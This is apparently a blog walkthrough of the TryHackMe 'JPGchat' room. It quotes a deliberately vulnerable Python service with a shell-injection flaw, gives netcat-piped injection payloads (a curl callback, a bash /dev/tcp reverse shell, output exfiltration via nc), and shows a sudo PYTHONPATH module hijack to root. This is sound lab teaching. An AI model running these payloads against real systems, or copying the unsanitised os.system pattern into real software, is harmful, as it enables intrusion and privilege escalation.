TryHackMe! JPGchat room
Explanation
This is my second tryhackme writeup, and it’s another easy room, but I figured I’d get into the swing of blogging again and just get something out there. Because some of the stuff in this room is similar to the 0day room, I’ll be trying to go more in depth into multiple possible attack vectors, and specifically how I did things :)
Enumeration
Nmap
Okay so as usual for most boot2roots we start of with an nmap scan, to see what ports are open, and what services could be running. Because of the image and description, I’m thinking that this is gonna be a Flask or Django server maybe? This ended up not being the case, but this made me think that the room dev chose python for a reason. Apparantly not?
Anyways, here are the results from our nmap scan:
# Nmap 7.80 scan initiated Fri Mar 5 11:31:06 2021 as: nmap -sC -sV -oN nmap.log 10.10.X.X
Nmap scan report for 10.10.X.X
Host is up (0.072s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
| 256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_ 256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open tcpwrapped
8031/tcp filtered unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 5 11:31:18 2021 -- 1 IP address (1 host up) scanned in 12.07 seconds
Cool okay so, the only thing I’m really interested in right now are the 2 high ports, specifically the open one. The SSH server doesn’t concern me too much as I recognise the version is quite recent, so I doubt we have to exploit it.
as for that tcp port, I have no idea what it is- time for netcat :)
Investigating weird port
Now I’m just gonna connect to the port and see what kind of response I get :)
$ nc 10.10.X.X 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
Okay so immediately we are told we can find source code for the running service. This seems to be turning into a pwn challenge, in which we are given some code, or an application that we can test locally, to make an exploit- then craft a similar exploit to be used over a network etc.
Let’s go on github and look for this :)
Okay so the second one seems to be what we want here. So let’s just take a look at the source code and see what we can find :)
#!/usr/bin/env python3
import os
print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')
def report_form():
print ('this report will be read by Mozzie-jpg')
your_name = input('your name:\n')
report_text = input('your report:\n')
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
def chatting_service():
print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
message = input('')
if message == '[REPORT]':
report_form()
if message == '[MESSAGE]':
print ('There are currently 0 other users logged in')
while True:
message2 = input('[MESSAGE]: ')
if message2 == '[REPORT]':
report_form()
chatting_service()
Hmm. Okay so this definitely isn’t the code that’s running, so I assume this was made for the purposes of the challenge. Anyway, the vulnerability seems pretty clear here; this code trusts unsanitised user input. As for the actual code that’s running the TCP server I’m not sure. But if it’s anything similar to this, which I think it will be, then we can exploit the trust it puts on the end user
Exploitation
The part I want to focus on is this:
your_name = input('your name:\n')
report_text = input('your report:\n')
os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)
After receiving input, this script goes ahead and puts that input into a command ran on the host. So, for example, if we provided this is a test
as the text for the report, then the host machine would run bash -c 'echo this is a test' > /opt/jpchat/logs/report.txt
. With a little knowlege of bash it’s not hard to create a malicious input here. we can end the echo statement with a semi colon, and then provide our own bash to be ran on the host. the output from that will then be written to report.txt if we embed the malicious payload in the your_name
variable, or it will be appended to report.txt, if we store it in the report_text
variable. Of course this doesn’t matter for us, as all we care about is code execution
So let’s see if we can do this :)
I’m going to start a python simple http server and try to get the machine to send a GET request via curl. Here is the one liner I made to do this:
$ python3 -c 'IP="YOUR IP HERE"; PORT="PORT HERE"; print(f"[REPORT]\nname\n;curl http://{IP}:{PORT}")' | nc 10.10.X.X 3000
So what this is doing, is printing 3 seperate lines (\n is used to indicate a newline). The first line is [REPORT]
, the second line is just some random input provided for name, and then the last line is ;curl http://ip:port
. The semi colon at the start of this line is what I was talking about before- we use it to show the end of the echo statement, so that we can begin our own. The last part | nc 10.10.X.X 3000
is simply the input being generated by python being piped into the tcp connection we make with netcat. So we run this, and….
$ python3 -c 'IP="YOUR IP"; PORT="PORT"; print(f"[REPORT]\nname\n;curl http://{IP}:{PORT}")' | nc 10.10.X.X 3000
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
this report will be read by Mozzie-jpg
your name:
your report:
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.X.X - - [05/Mar/2021 15:53:29] "GET / HTTP/1.1" 200 -
Awesome!! We got code execution! Now, sending a request to a server is a common way to test for code execution, but it is also equally common for systems to have firewalls blocking tcp connections, and requests. DNS smuggling can allow us to mitigate this problem. It’s less common for there to be something filtering DNS requests, as well if urls are to be resolved, then DNS requests must be made. Of course there are other options if we need to bypass firewalls, that’s just a common one.
For more information on this, please check out stok’s video on this subject: https://www.youtube.com/watch?v=p8wbebEgtDk.
Anyways now that we have code execution, and we touched on another method of data exfiltration we could have used, lets try getting a shell :) I won’t be going into the different methods of doing that, as I already done that in a different blog
We’re just gonna be going for a basic reverse tcp shell. So the code we want to execute on the server will be something like: bash -i >& /dev/tcp/IP/PORT 0>&1
Naturally the first thing I try is setting up a listener and then trying out python3 -c 'IP="IP"; PORT="PORT"; print(f"[REPORT]\nname\n;bash -i >& /dev/tcp/{IP}/{PORT} 0>&1")' | nc 10.10.X.X 3000
as the payload. And well, I got a shell, but it wasn’t functional. I wasn’t able to get output.
$ nc -nlvp 3000
Listening on 0.0.0.0 3000
Connection received on 10.10.201.9 55046
bash: cannot set terminal process group (993): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ ls
ls
wes@ubuntu-xenial:/$
So we see that it tells us that for whatever reason, the input/output control is weird and not good enough to get us a stable shell. As I couldn’t see what was going on behind the scenes, I assumed that this was due to how the tcp server had been made. Maybe it was handling input weirdly and not properly encoding/decoding it? or maybe it was running under some other weird conditions I couldn’t see? I wasn’t entirely sure why this wasn’t working, so I started playing around with the input. Eventually through fuzzing and playing around with the server, I found that the use of $()
would show output in my listener, when a command was used in it. After completing the CTF I took a look at some other writeups to see if anyone else had encoutered this problem but this didn’t seem to be the case at all? Maybe it was something to do with my one liner, or maybe it’s a bug in the room. Either way it’s fine, I got something that worked for me in the end. I understand that it can be annoying seeing “just play around with it” but I can’t put it into better words unfortunately. All I done was try out different things I’ve seen work before, until eventually I got something to work. It can be a tedious process but sometimes there just aren’t ways to avoid it.
So, the payload that got actually got me output ended up being: python3 -c 'IP="PORT"; PORT="PORT"; print(f"[REPORT]\nname\n;echo $(ls) | nc {IP} {PORT}")' | nc 10.10.X.X 3000
. This gave me the following output:
$ nc -nlvp 3000
Listening on 0.0.0.0 3000
Connection received on 10.10.201.9 55078
bin boot box_setup dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin snap srv sys tmp usr vagrant var vmlinuz vmlinuz.old
Cool, so we got that to work. As for how I knew netcat was on the machine, well, I didn’t- I honestly just guessed. I was pretty sure that netcat was a package included with a standard ubuntu xenial installation, and I knew it would make things easier for me so it was worth the try.
Finally popping a shell.
After seeing I was able to get commands to work using $()
I figured the next logical step was to try getting a shell again, but placing the bash to spawn a reverse shell inside of those brackets
So we try it: python3 -c 'IP="IP";PORT="PORT";print(f"[REPORT]\nname\n;$(bash -i >& /dev/tcp/{IP}/{PORT} 0>&1)")' | nc 10.10.X.X 3000
and:
$ nc -nlvp 3000
Listening on 0.0.0.0 3000
Connection received on 10.10.201.9 55096
bash: cannot set terminal process group (1686): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ id
id
uid=1001(wes) gid=1001(wes) groups=1001(wes)
wes@ubuntu-xenial:/$
Okay this is great, but, now I’m even more confused. We got a shell on the server which is great, but we got the same error as before. I’m still not sure why that happened, I’d love to find out though :)
User
The user flag can be found in wes
’s home directory
wes@ubuntu-xenial:~$ cat user.txt
cat user.txt
JPC{do it yourself!}
Root
Okay so my approach to privilege escelation was kind of boring. As a lot of easy boot2roots have common privesc vectors, I find that it’s often one of a few things. I always make sure to check the kernel version being used (incase there are any major exploits available), the permissions we have as a user, and the binaries with the SUID bit enabled. As I checked what our user is able to run as root with sudo -l
I found the privesc vector. I see a lot of people complain that writeups don’t go into how you were supposed to know to do something. To this I’d say experience is the most tool you have, but there are enumeeration scripts available that can aid the process. LinPeas and LinEnum are popular ones that can work wonders.
Anyways, after running sudo -l
or running one of the enum scripts mentioned, we should eventually find this:
wes@ubuntu-xenial:/$ sudo -l
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
mail_badpass, env_keep+=PYTHONPATH
User wes may run the following commands on ubuntu-xenial:
(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
wes@ubuntu-xenial:/$
Basically what this tell us is that we can run /usr/bin/python3 /opt/development/test_module.py
as root.
So naturally we look at the code for this script, to see what we are actaully running as root.
#!/usr/bin/env python3
from compare import *
print(compare.Str('hello', 'hello', 'hello'))
So when I seen this, I originally had the wrong idea. I thought about what happens when you import a python module. Like if you had installed numpy, but then also had a file called numpy.py
in the same directory as the python script you are running, which will it really import? So I tested this out on my system and found that it will default to the file in the same directory as the script you run. So then the next logical step knowing this, was to create a compare.py
file with some malicious code in the /opt/development/
directory. But the problem was that I didn’t know if I had write access to this directory. So I tried creating a new “compare.py” file in this directory.
And…
wes@ubuntu-xenial:/opt/development$ touch compare.py
touch: cannot touch 'compare.py': Permission denied
wes@ubuntu-xenial:/opt/development$
Damn :/ at this point I wasn’t too sure what to do, I checked to see if this was a well known module with known exploits, I checked to see if I could edit the code behind the module it imports. Nothing I tried seemed to work. So I looked again at the output of sudo -l
, remembering I had seen some unfamiliar stuff.
I had neglected the env_keep+=PYTHONPATH
part of this output. This is important because we can our own environment variables, and when /usr/bin/python3 /opt/development/test_module.py
is ran, it will use the PYTHONPATH
environment variable if we have set one. With a bit of research, we find out that this variable tells python where to look for additional modules. So presumably we are able to set the PYTHONPATH
environment variable to somewhere where we have write access, and then make a compare.py
file that overwrites the one this script imports. So let’s try that.
There are a few directories that all users should always have access to such as /tmp
and /dev/shm
that we could write to, but we don’t need to worry about having to do this because we are a user with a home directory, so we are able to write here
wes@ubuntu-xenial:~$ export PYTHONPATH=/home/wes; echo "import os" > compare.py; echo "os.system('/bin/bash')" >> compare.py
So with this, we have set the environment variable such that python will read the compare.py
file from the user wes
’s home directory. Then we have some code in this file that should start a shell. Because this would be running as root we would get a root shell :)
wes@ubuntu-xenial:~$ sudo /usr/bin/python3 /opt/development/test_module.py
id
uid=0(root) gid=0(root) groups=0(root)
So we got a shell, but it doesn’t look very nice. If we wanted to spawn a TTY shell we could have used the pty
module in python, not that it matters now that we have root.
cat /root/root.txt
JPC{do it yourself}
Also huge shoutout to Westar for the OSINT idea
i wouldn't have used it if it wasnt for him.
and also thank you to Wes and Optional for all the help while developing
You can find some of their work here:
https://github.com/WesVleuten
https://github.com/optionalCTF
Awesome :) This was a nice room